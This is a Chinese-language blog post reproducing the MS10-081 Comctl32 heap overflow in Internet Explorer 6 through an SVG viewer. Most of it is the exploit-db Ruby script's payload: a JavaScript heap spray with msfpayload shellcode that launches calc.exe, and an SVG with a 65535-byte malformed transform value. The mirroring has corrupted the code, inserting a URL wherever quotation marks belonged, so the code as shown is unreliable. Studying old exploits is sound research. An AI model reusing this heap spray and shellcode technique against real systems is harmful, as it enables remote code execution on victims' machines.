Common Control Library (Comctl32) Heap Overflow (MS10

时间:2022-06-12 03:16:02

    exploit-db:https://www.exploit-db.com/exploits/15963/

    微软安全公告:https://technet.microsoft.com/library/security/ms10-081

漏洞介绍:

    根据微软官方说明,漏洞的原因是 在使用第三方可伸缩矢量图形 (SVG) 查看器时,Windows 公共控件库Comctl32.dll 没有正确处理某些消息存在一个远程执行代码漏洞,且说明了是一个堆溢出漏洞。

环境介绍:

    (1) XP Professional sp 3          (2) Internet Explorer 6.0.2900.5512        (3) ruby1.9           (4) IE8及以下不支持svg,需要安装SVGVIEW

漏洞重现:

    下载exploit-db提供下载的ruby脚本。执行脚本会监听55555端口,访问后会返回一个html页面,包含了堆喷射的js和iframe嵌套svg,svg文件中定义了一个矩形,这个矩形的 transform 属性有一个异常的值 65535个"\x21",脚本主要内容如下:

transform_name = "\x21" * 65535 svg = <<-SVG <?xml version=http://www.mamicode.com/"1.0"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" ""> <svg xmlns=http://www.mamicode.com/"" xmlns:xlink=http://www.mamicode.com/""> <rect x=http://www.mamicode.com/"50" y=http://www.mamicode.com/"50" height=http://www.mamicode.com/"110" width=http://www.mamicode.com/"110" style=http://www.mamicode.com/"fill: #ffffff" transform=http://www.mamicode.com/"#{transform_name}(10) translate(30) rotate(45 50 50)" > </rect> <text x=http://www.mamicode.com/"100" y=http://www.mamicode.com/"100">CLICK ME</text> </svg> SVG html = <<-HTML <html> <body> <script> <!-- function str_dup(str, length) { var result =http://www.mamicode.com/ str; while(result.length < length) { result +=http://www.mamicode.com/ result; } return result.substr(result.length - length); } var shellcode = unescape("%u9000%u9090%u9090") + // msfpayload windows/exec CMD=calc.exe R | msfencode -t js_le -b "\x00" unescape("%u39ba%ue680%udb4f%u29dc%ub1c9%ud933%u2474%u58f4" + "%u5031%u8313%u04c0%u5003%u6236%ub313%ueba0%u4cdc" + "%u8c30%ua955%u9e01%ub902%u2e33%uef40%uc5bf%u0404" + "%uab34%u2b80%u06fd%u02f7%ua6fe%uc837%ua83c%u13cb" + "%u0a10%udbf5%u4b65%u0132%u1985%u4deb%u8e37%u1098" + "%uaf8b%u1f4e%ud7b3%ue0eb%u6247%u30f5%uf9f7%ua8bd" + "%ua57c%uc81d%ub551%u8362%u0ede%u1210%u5f36%u24d9" + "%u0c76%u88e4%u4c7b%u2e20%u3b63%u4c5a%u3c1e%u2e99" + "%uc9c4%u883c%u6a8f%u28e5%uec5c%u266e%u7a29%u2b28" + "%uafac%u5742%u4e25%ud185%u757d%ub901%u1426%u6710" + "%u2989%ucf42%u8c76%ue208%ub663%u6952%u3a72%ud4e9" + "%u4474%u76f2%u751c%u1979%u8a5b%u5da8%uc093%uf4f1" + "%u8d3b%u4563%u2e26%u8a5e%uad5e%u736b%uada5%u7619" + "%u69e2%u0af1%u1c7b%ub9f5%u357c%u5c96%ud5ee%ufa77" + "%u7c96%u0e88"); var base = str_dup(unescape("%u2100"), 0x800 - shellcode.length); var arr =http://www.mamicode.com/ []; for(var i = 0; i < 2000; i++) { arr[i] = document.createElement("a"); arr[i].innerHTML = [base + shellcode].join(""); } --> </script> <iframe width=http://www.mamicode.com/"100%" height=http://www.mamicode.com/"100%" src=http://www.mamicode.com/"poc.svg" marginheight=http://www.mamicode.com/"0" marginwidth=http://www.mamicode.com/"0"></iframe> </body> </html> HTML